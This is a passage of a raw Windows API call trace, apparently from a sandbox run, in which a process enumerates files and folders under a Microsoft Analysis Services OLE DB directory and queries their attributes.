ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x851c, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql2000.xsl", cAlternateFileName="")) returned 1 [0245.528] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x943730 [0245.528] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x943730) returned 1 [0245.528] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x943730 [0245.528] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x943730) returned 1 [0245.528] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x943730 [0245.528] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x934e90 [0245.528] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x93ed00 [0245.528] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x943730) returned 1 [0245.528] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x7d92, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql70.xsl", cAlternateFileName="")) returned 1 [0245.528] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x943730 [0245.528] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x943730) returned 1 [0245.528] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x943730 [0245.528] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x943730) returned 1 [0245.528] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x943730 [0245.528] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x934eb0 [0245.528] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x93ee08 [0245.528] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x943730) returned 1 [0245.528] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51552c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x9a5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql90.xsl", cAlternateFileName="")) returned 1 [0245.528] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x943730 [0245.528] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x943730) returned 1 [0245.528] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x943730 [0245.528] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x943730) returned 1 [0245.528] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x943730 [0245.529] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x934ed0 [0245.529] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x93ef10 [0245.529] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x943730) returned 1 [0245.529] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa81fdc00, ftCreationTime.dwHighDateTime=0x1c8dd0e, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa81fdc00, ftLastWriteTime.dwHighDateTime=0x1c8dd0e, nFileSizeHigh=0x0, nFileSizeLow=0x745e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sybase.xsl", cAlternateFileName="")) returned 1 [0245.529] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x943730 [0245.529] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x943730) returned 1 [0245.529] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x943730 [0245.529] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x943730) returned 1 [0245.529] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x943730 [0245.529] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x934ef0 [0245.529] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x93f018 [0245.529] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x943730) returned 1 [0245.529] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa81fdc00, ftCreationTime.dwHighDateTime=0x1c8dd0e, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa81fdc00, ftLastWriteTime.dwHighDateTime=0x1c8dd0e, nFileSizeHigh=0x0, nFileSizeLow=0x745e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sybase.xsl", cAlternateFileName="")) returned 0 [0245.529] GetLastError () returned 0x12 [0245.529] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd4e0 [0245.529] FindClose (in: hFindFile=0x4fd520 | out: hFindFile=0x4fd520) returned 1 [0245.529] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5edefe10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.529] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51494530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x4360, dwReserved0=0x0, dwReserved1=0x0, cFileName="as80.xsl", cAlternateFileName="")) returned 1 [0245.529] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x5ed7d9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x4932, dwReserved0=0x0, dwReserved1=0x0, cFileName="as90.xsl", cAlternateFileName="")) returned 1 [0245.529] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa81fdc00, ftCreationTime.dwHighDateTime=0x1c8dd0e, ftLastAccessTime.dwLowDateTime=0x51494530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa81fdc00, ftLastWriteTime.dwHighDateTime=0x1c8dd0e, nFileSizeHigh=0x0, nFileSizeLow=0x78e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Informix.xsl", cAlternateFileName="")) returned 1 [0245.529] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51494530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x712e, dwReserved0=0x0, dwReserved1=0x0, cFileName="msjet.xsl", cAlternateFileName="")) returned 1 [0245.530] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51552c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x851c, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql2000.xsl", cAlternateFileName="")) returned 1 [0245.530] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x7d92, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql70.xsl", cAlternateFileName="")) returned 1 [0245.530] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51552c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x9a5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql90.xsl", cAlternateFileName="")) returned 1 [0245.530] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa81fdc00, ftCreationTime.dwHighDateTime=0x1c8dd0e, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa81fdc00, ftLastWriteTime.dwHighDateTime=0x1c8dd0e, nFileSizeHigh=0x0, nFileSizeLow=0x745e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sybase.xsl", cAlternateFileName="")) returned 1 [0245.530] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa81fdc00, ftCreationTime.dwHighDateTime=0x1c8dd0e, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa81fdc00, ftLastWriteTime.dwHighDateTime=0x1c8dd0e, nFileSizeHigh=0x0, nFileSizeLow=0x745e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sybase.xsl", cAlternateFileName="")) returned 0 [0245.530] GetLastError () returned 0x12 [0245.530] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x93e6d0) returned 1 [0245.530] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0245.531] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x93e7d8) returned 1 [0245.531] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x93e5c8) returned 1 [0245.531] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3cf6c00, ftCreationTime.dwHighDateTime=0x1ca2caa, ftLastAccessTime.dwLowDateTime=0x5f005150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3cf6c00, ftLastWriteTime.dwHighDateTime=0x1ca2caa, nFileSizeHigh=0x0, nFileSizeLow=0x2a65d68, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmdlocal.dll", cAlternateFileName="")) returned 1 [0245.531] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47fe200, ftCreationTime.dwHighDateTime=0x1ca2cab, ftLastAccessTime.dwLowDateTime=0x51552c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x47fe200, ftLastWriteTime.dwHighDateTime=0x1ca2cab, nFileSizeHigh=0x0, nFileSizeLow=0xbc4568, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmgdsrv.dll", cAlternateFileName="")) returned 1 [0245.531] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b10f00, ftCreationTime.dwHighDateTime=0x1ca2cab, ftLastAccessTime.dwLowDateTime=0x5f28c8b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b10f00, ftLastWriteTime.dwHighDateTime=0x1ca2cab, nFileSizeHigh=0x0, nFileSizeLow=0x7c6f68, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolap100.dll", cAlternateFileName="")) returned 1 [0245.531] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb46ad400, ftCreationTime.dwHighDateTime=0x1c8e1fb, ftLastAccessTime.dwLowDateTime=0x516f5b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb46ad400, ftLastWriteTime.dwHighDateTime=0x1c8e1fb, nFileSizeHigh=0x0, nFileSizeLow=0x4dc18, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolui100.dll", cAlternateFileName="")) returned 1 [0245.531] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resources", cAlternateFileName="")) returned 1 [0245.531] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x93e5c8 [0245.531] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0245.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0245.531] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0245.531] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x945470 [0245.532] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x945470, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x945470, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0245.532] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x945470) returned 1 [0245.532] NtClose (Handle=0x170) returned 0x0 [0245.532] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x93e5c8) returned 1 [0245.532] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x943730 [0245.532] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x943840 [0245.532] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x93e5c8 [0245.532] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x943730) returned 1 [0245.532] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x93e7d8 [0245.532] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd4e0 [0245.532] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.532] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0245.532] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0245.532] GetLastError () returned 0x12 [0245.532] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd520 [0245.532] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0245.532] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.533] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0245.533] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x93e6d0 [0245.533] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x943840) returned 1 [0245.533] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x93f120 [0245.533] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0245.534] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0245.534] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0245.534] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x945470 [0245.534] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x945470, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x945470, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0245.534] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x945470) returned 1 [0245.534] NtClose (Handle=0x170) returned 0x0 [0245.535] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x93f120) returned 1 [0245.535] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x943840 [0245.535] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x943730 [0245.535] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x93f120 [0245.535] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x943840) returned 1 [0245.535] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x93f228 [0245.535] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd4e0 [0245.535] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.535] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9f68100, ftCreationTime.dwHighDateTime=0x1c9b09b, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd9f68100, ftLastWriteTime.dwHighDateTime=0x1c9b09b, nFileSizeHigh=0x0, nFileSizeLow=0xa2b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmdsrv.rll", cAlternateFileName="")) returned 1 [0245.535] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x943840 [0245.535] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x943840) returned 1 [0245.535] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x943840 [0245.535] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x943840) returned 1 [0245.535] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x943840 [0245.535] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x93f330 [0245.535] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x943730) returned 1 [0245.535] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x934f10 [0245.535] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x93f438 [0245.535] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x943840) returned 1 [0245.535] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2512f000, ftCreationTime.dwHighDateTime=0x1c8e1fe, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x2512f000, ftLastWriteTime.dwHighDateTime=0x1c8e1fe, nFileSizeHigh=0x0, nFileSizeLow=0x3a18, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolui100.rll", cAlternateFileName="")) returned 1 [0245.535] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x943840 [0245.535] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x943840) returned 1 [0245.535] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x943840 [0245.536] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, 